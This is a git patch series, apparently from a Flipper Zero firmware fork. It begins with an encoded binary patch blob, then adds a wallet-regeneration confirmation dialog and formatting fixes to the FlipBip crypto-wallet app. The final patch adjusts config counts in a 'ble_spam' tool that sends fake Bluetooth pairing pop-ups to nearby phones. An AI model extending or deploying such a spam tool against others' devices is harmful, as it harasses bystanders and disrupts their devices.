zFROq-nKUA7JC=+jbFJupOuG;s-6@3PObzj;;%P8*GZ|A60R&*t1prjU3SjdIA|h-a zmjI5%Vgw92ZzAv~!d%G?P%93P4mC6|G(f^_M9d&G%uEJq%A+v|j@Gu{Aiy^w%ugWT z5)cTXP-q~;7;t#L2oxTVMbmKZ2mVEKt2#6fQvvGAQ3DU;%5)Oz$OR;`8J`y_24^$Ej+@J z&gbmrQRy~8bhbe2X9ybghd*~WFJL|$8WlkgptC?zJ{T4COUR8RvcnG#F$KO%7I)qY zB>NXj0h93;S-;FpteH>e=ZS#sKX8As{+|21F=$056RbJZ-Qwwytcfsjd;*O_Wzq=q zLp*@T`!JA5IMxV{f*S%z92`Ib7`P$Thl<5gsaTpJ>L(}?n=b&^RJs@n1UF!UI6g=; z-3LHo;7AhA=iS8%LjcnOsRhK93Ifc_!E6XtJUSrY@SHiE03u8b0Tp}B7dX`P>$2D} z`JhFxxaPlAy%Rm~>)Y2&5Wt*QL80@7O8}@}gYbbMI&D4>==W7c^#ji%jk^rMTJLZZQvK*7;CXB3Kn#1hbW7~)&92=Si&o~iSLBKVsk? z8UL=X{~28}e_eOzY_J0of|r@dzBTQS&*fNRwRv2nua$wg(P*view_dispatcher, index); } @@ -59,7 +49,7 @@ void flipbip_scene_menu_on_enter(void* context) { submenu_add_item( app->submenu, "Regenerate wallet", - SubmenuIndexScene1New, + SubmenuIndexScene1Renew, flipbip_scene_menu_submenu_callback, app); } else { @@ -130,9 +120,12 @@ bool flipbip_scene_menu_on_event(void* context, SceneManagerEvent event) { } else if(event.event == SubmenuIndexScene1New) { app->overwrite_saved_seed = 1; app->import_from_mnemonic = 0; - scene_manager_set_scene_state( - app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); - scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); + app->wallet_create(app); + return true; + } else if(event.event == SubmenuIndexScene1Renew) { + app->overwrite_saved_seed = 1; + app->import_from_mnemonic = 0; + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewRenewConfirm); return true; } else if(event.event == SubmenuIndexScene1Import) { app->import_from_mnemonic = 1; From 305e5d54133556b85e956e46930e18d1e93d0fa7 Mon Sep 17 00:00:00 2001 From: Struan Clark Date: Sat, 21 Oct 2023 20:24:15 -0600 Subject: [PATCH 54/56] chore: update app --- applications/external/flipbip/application.fam | 1 - 1 file changed, 1 deletion(-) diff --git a/applications/external/flipbip/application.fam b/applications/external/flipbip/application.fam index c7d67e3f9..2f36910ab 100644 --- a/applications/external/flipbip/application.fam +++ b/applications/external/flipbip/application.fam @@ -7,7 +7,6 @@ App( "gui", ], stack_size=3 * 1024, - order=10, fap_icon="flipbip_10px.png", fap_private_libs=[ Lib( From 942ef2c5b70cd26908657a6c1e7291d9b558afb0 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 22 Oct 2023 03:39:53 +0100 Subject: [PATCH 55/56] Format --nobuild --- applications/external/flipbip/flipbip.c | 6 +++--- applications/external/flipbip/flipbip.h | 4 +--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/applications/external/flipbip/flipbip.c b/applications/external/flipbip/flipbip.c index 46904592d..90abfb513 100644 --- a/applications/external/flipbip/flipbip.c +++ b/applications/external/flipbip/flipbip.c @@ -102,8 +102,7 @@ static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* con static void flipbip_wallet_create(void* context) { FlipBip* app = context; furi_assert(app); - scene_manager_set_scene_state( - app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); + scene_manager_set_scene_state(app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); } @@ -171,7 +170,8 @@ FlipBip* flipbip_app_alloc() { dialog_ex_set_context(app->renew_dialog, app); dialog_ex_set_left_button_text(app->renew_dialog, "No"); dialog_ex_set_right_button_text(app->renew_dialog, "Yes"); - dialog_ex_set_header(app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); + dialog_ex_set_header( + app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); view_dispatcher_add_view( app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog)); diff --git a/applications/external/flipbip/flipbip.h b/applications/external/flipbip/flipbip.h index 573ef0588..12d910497 100644 --- a/applications/external/flipbip/flipbip.h +++ b/applications/external/flipbip/flipbip.h @@ -24,8 +24,6 @@ #define TEXT_BUFFER_SIZE 256 - - typedef struct { Gui* gui; // NotificationApp* notification; @@ -50,7 +48,7 @@ typedef struct { char import_mnemonic_text[TEXT_BUFFER_SIZE]; char input_text[TEXT_BUFFER_SIZE]; - void (* wallet_create)(void* context); + void (*wallet_create)(void* context); } FlipBip; typedef enum { From eee662f188642941bcfec826daf8f825734845c4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 22 Oct 2023 03:47:49 +0100 Subject: [PATCH 56/56] Fix click offsets for fastpair and swiftpair --nobuild --- applications/external/ble_spam/protocols/fastpair.c | 2 +- applications/external/ble_spam/protocols/swiftpair.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index a5caf80cc..1e7c2920c 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -147,7 +147,7 @@ static void fastpair_extra_config(Ctx* ctx) { static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) { UNUSED(_cfg); - return ConfigCOUNT; + return ConfigCOUNT - ConfigExtraStart - 1; } const Protocol protocol_fastpair = { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index fc21f1778..b204f8eef 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -81,7 +81,7 @@ static void swiftpair_extra_config(Ctx* ctx) { static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) { UNUSED(_cfg); - return ConfigCOUNT; + return ConfigCOUNT - ConfigExtraStart - 1; } const Protocol protocol_swiftpair = {